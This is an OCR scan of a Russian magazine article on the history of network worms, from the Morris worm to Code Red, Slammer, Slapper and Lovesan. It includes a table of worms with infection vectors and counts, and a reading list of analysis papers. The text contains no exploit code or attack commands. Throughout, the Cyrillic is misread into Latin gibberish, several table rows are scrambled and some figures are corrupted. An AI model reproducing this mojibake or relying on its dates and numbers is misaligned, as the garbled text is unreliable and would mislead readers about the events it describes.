[ns coBpeMeHHbIX MacLuTa6oB Cetu 31O NYCTAK, He CTOSALLMNA
Jaxe ynomuHaHus. Kopode rosops, BUpYC ocTancs Hesame-
YEHHbIM, @ MPOrpaMMHoe 06eCTieHeHUe — HE OOHOBMEHHBIM.

Pacnnata 3a xanatHoe OTHOLLIEHVE K 6e30MacHOCTU He 3ac-
TaBwna cebs XJaTb 1 6yKBasibHO Yepes napy MecsLEB MosiBUIT-
s HOBBIY BUpYC, HocsiLLmMI HadeaHve Code Red, koTopeii co CBo-
en 6onee no3pHen mopudmkauven Code Red Il ynoxwn 6onee
MUIIIMOHA Y3/0B 32 KOPOTKOE BPeMsl. [DKMHH 6bin BbINyLLEH U3
6YTBINIKU 1 THICAHYM XaKepOB, BOOXHOBJIEHHBIE YCTMIEXOM CBOWX
KOJer, 0TOPBany MbILLIM XBOCT M 3aCesiv 3a KraBmatypy.

3a fgBa nocnegyowmx roga 6binm HangeHsl KpUTUYECKMe
ysi3BumocTn B Apache- n SQL-cepBepax 1 BbipalLeHbI Cre-
LmarbHble Nopofbl YepBew AJ1d X 0CBOEHWs. Pe3ynbTar, Kak
BOAMTCS, NpeB3oLLesn Bce oxuaanus. Cetb fierna, 1 HeKoTo-
pble faxe cTanv norosapueatb 0 CKOPOM KoHue MHTepHeTa
1 HE06X0AMMOCTM NOSTHOM pecTpyKTypu3auum CeTu (XoTs BCe-
ro-To 1 TPe60BanoCh — yBOUTL aAMUHUCTPATOPOB, HE yCTa-
HOBMBLUMX BOBPEMS 3annaTku).

BepLumHon BCceMy cTana rpaHanosHas Obipa, HangeHHas B
cucteme ynpaeneHus DCOM u pacnpocTpaHsioLLascs Ha BECb
mogenbHbIn pag NT-nogo6HbIx cucTem (B MEPBYIO 04Yepenb 3T0
cama NT, a Takxe W2K, XP n gaxxe Windows 2003). ToT ¢akT,

HMHLIZagMUHUCTpaTOop
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TaGnmua 1. ToplO: mapan ceTeBHX BMPYCOB — OT UepBss Moppuca RO Haumx pHHel (ykaSaHHOe KONMYECTBO SBapaxeHHHX MalMH cobpaHO u3

PaBSIMYHEX MCTOYHMKOB ¥ HE CIMIIKOM-TO NOCTOBEPHO, IO3TOMy He BOCIPMHMMANTE ero Kak UCTUHY B nepsoix nnc'ram.mu)
BHPYC KOI/1a 00HAPYKEH YTO MOPAKAI MEXAHU3MbI PACIPOCTPAHEHUs | MAIIWH 3apa3uJl
Buove OTJIaJ0YHEIN JIIOK B sendmail,
Mo pi]/lca 1988, HOs10pD UNIX, VAX nepenoiHenue Oydepa B finger, 6.000
pp cia0ble maposiu
Melissa 1999, 772 e-mail yepe3 MS Word yesoBedeckuii (hakTop 1.200.000
LoveLetter 2000, mai e-mail yepe3 VBS YeJ0BeueCcKHi (GhakTop 3.000.000
Klez 2002, ntoHb e-mail uepe3 Oar B [E ysizeumocTs B IE ¢ [IFRAME 1.000.000
sadmind/ITS 2001, maii Sun Solaris/ITS ngpentie e i S Selbins 8.000
AdminSuite/IIS
Code Red I/11 2001, uroab ISS nepernosgHeHue oydepa B 11S 1.000.000
Nimda 2001, ceHTAGDPE ISS TEPPROITEEE Byiben I, GeGEe | ) e ey
’ apoJiv U Jp. T
Slapper 2002, nroab Lunix Apache nepenosHenue oygepa B OpenSSL 20.000
Slammer 2003, stHBapb MS SQL nepenoaaenue 0ydepa B SQL 300.000
Love San 2003, aBryct NT/200/XP/2003 nepenosHeHue oypepa B DCOM 1.000.000 (???)

YTO AaHHas YA3BUMOCTb 3aTPar1BaeT He TOMbKO CEPBEPbI, HO U1
paboyme CTaHLumM (BKITOYast LOMALLHME KOMMbIOTEpPbI) obecre-
4un Yepsto Love San nnogoTBOpHOE None Asis CyLLeCTBOBaHNS,
MOCKOJbKY NofasnstoLLee 60/bLUMHCTBO JOMALLHNX KOMMbIOTE-
POB ¥ paboumnx CTaHLMI YNpaBiseTcs HeKBaMULMPOBAHHBLIM
MepcoHanom, He cobuparLLmMmcs B 6imxanilee Bpems H1 06-
HOBJIITb OMEPAaLMOHHYI0 CUCTEMY, HU YCTaHaBNMBaTh 6paHama-
Y3p, HY HaKadblBaTh 3aniaTky Ha ablpy B cucTeme 6e30MacHo-
CTW, HW AaXe OTKIKoYaThb 3TOT HUKOMY He HyXHbii DCOM (gns
oTkto4eHnss DCOM mMoxHo Bocnosnb3osatbes ytunutoil DCOM-

Y10 yntath. UHTEpecHble CCbIIKU
Ha CeTeBblié PECYPChbl.

1. Attacks of the Worm Clones — Can we prevent them — mate-
puanbl RSA Conference 2003 ot Symantec, cogepxar MHo-
XECTBO KPAaCOYHbIX MMIOCTPaLMIA, KOTOpble CTOSAT TOro,
4To6bl HA HMX NocMoTpeTb http://www.rsaconference.com/
rsa2003/europe/tracks/pdfs/hackers_t14_szor.pdf;

2. An Analysis of the Slapper Worm Exploit — nogpo6Hbii
aHanus Yepss Slapper oT Symantec, OpMEHTUPOBAHHbI
Ha npodeccuoHanoB, HacTOATENBHO pPeKOMeHOyeTcs
BCeM TeM, KTO 3HaeT Cu u accembnep: http://
securityresponse.symantec.com/avcenter/reference/
analysis.slapper.worm.pdf;

3. Inside the Slammer Worm — aHanua yepssi Slammer,
OPVEHTUPOBAHHLIN Ha 3PYAUPOBAHHBIX NONb3oBaTeNen
K, TeM He MeHee [OCTAaTOYHO MHTEPECEeH U Ans agMu-
HucTpatopos: http://www.cs.ucsd.edu/~savage/papers/
IEEESP03.pdf;

4. An Analysis of Microsoft RPC/DCOM Vulnerably — o6¢Tos-
TeNbHbIN aHanu3 HawwymesLue abipbl B NT/W2K/XP/2003,
pekomeHgyetcs: http://www.inetsecurity.info/downloads/
papers/MSRPCDCOM.pdf;

5. The Internet Worm Program: An Analysis — nctopuueckui
LOKYMEHT, BbINyLLeHHbIN No cnepnam Yepss Moppuca, u
coAepXalluin Noapo6HbIA aHanusa ero anroputma: http://
www.cerias.purdue.edu/homes/spaf/tech-reps/823.pdf;

6. With Microscope and Tweezers: An Analysis of the Internet
Virus of November 1988 — eLLe ognH UCTOPUYECKMIA aHa-
nn3 apxutekTypbl HYepesa Moppuca: http://www.deter.com/
unix/papers/internet_worm.pdf;
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bobulator, gocTynHor no agpecy http://grc.com/freepopular.htm,
OHa XXe MPOBEPUT BaLLly MALLIMHY Ha YA3BMMOCTb W JACT HECKOSTb-
KO NMOMe3HbIX PEKOMEHZALMIA MO 3aLUUTe CUCTEMBI).

YTo X[OeT Hac 3aBTpa — HEWU3BECTHO. B 060 MOMEHT
MOXET OTKPbITLCA HOBasi KpUTUYECKAS YSA3BUMOCTb, MOpaXxa-
loLLas Lenoe CEMECTBO OnepaLMoHHbIX CUCTEM, U Npexae
4YeM COOTBETCTBYIOLLME 3annaTku 6yayT yCTaHOBMEHbI, fECT-
PYKTVBHBLIE KOMMOHEHTHLI YEPBS (ECNN TakoBble TaMm OymyT)
MOTYT HAHECTMN TAKOW YPOH, KOTOPbIA MOBEPTHET BECH LIMBH-
NTN30BaHHbIA MMP BO MpaK 1 Xaoc...

7. The Linux Virus Writing And Detection HOWTO - nto6o-
MbITHAas BapuaLma Ha TeMy «NULLEM BUPYC U aHTMBUPYC
ansa Linux»: http://www.rootshell.be/~doxical/download/
docs/linux/Writing_Virus_in_Linux.pdf;

8. Are Computer Hacker Break-ins Ethical? — 3tu4Ho nv B3na-
MbIBaTb KOMMbIOTEPL! UNK HET, BOT B YeM Bonpoc! http://
www.cerias.purdue.edu/homes/spaf/tech-reps/994.pdf;

9. Simulating and optimising worm propagation algorithms —
aHanu3 CKOpoCTW pacnpoCTpaHeHns YepBs B 3aBUCUMOC-
TV OT PasfMyHbIX YCNOBWIA, PEKOMEHZyeTca Ans nogei ¢
maremaTnyeckum cknagom yma: http://downloads.security-
focus.com/library/WormPropagation.pdf;

10. Why Anti-Virus Software Cannot Stop the Spread of Email

Worms — ctaTbs, pasbacHatoLLas NpuynHbl HeaEKTUB-

HOCTW aHTWBMPYCHOr0 MPOrpaMMHOro o6ecrneyveHuns B

60pbbe ¢ NOYTOBLIMU BUPYCAMU, HACTOATESIbHO PEKOMEH-

JyeTca AN 03HAKOMIIEHWs BCEM MeHeXepaM no pekna-

Me aHTmBupycoB: http://www.interhack.net/pubs/email-

trojan/email-trojan.pdf;

MpoCcTO MHTEPECHbIE AOKYMEHTbI MO YEPBAM POCChIMbIO;

http://www.dwheeler.com/secure-programs/secure-

programming-handouts.pdf;
http://www.cisco.com/warp/public/cc/so/neso/sqso/safr/
prodlit/sawrm_wp.pdf;
http://engr.smu.edu/~tchen/papers/

Cisc0%20IPJ_sep2003.pdf;

http://crypto.stanford.edu/cs155/lecture12.pdf;

http://www.peterszor.com/slapper.pdf.

11.
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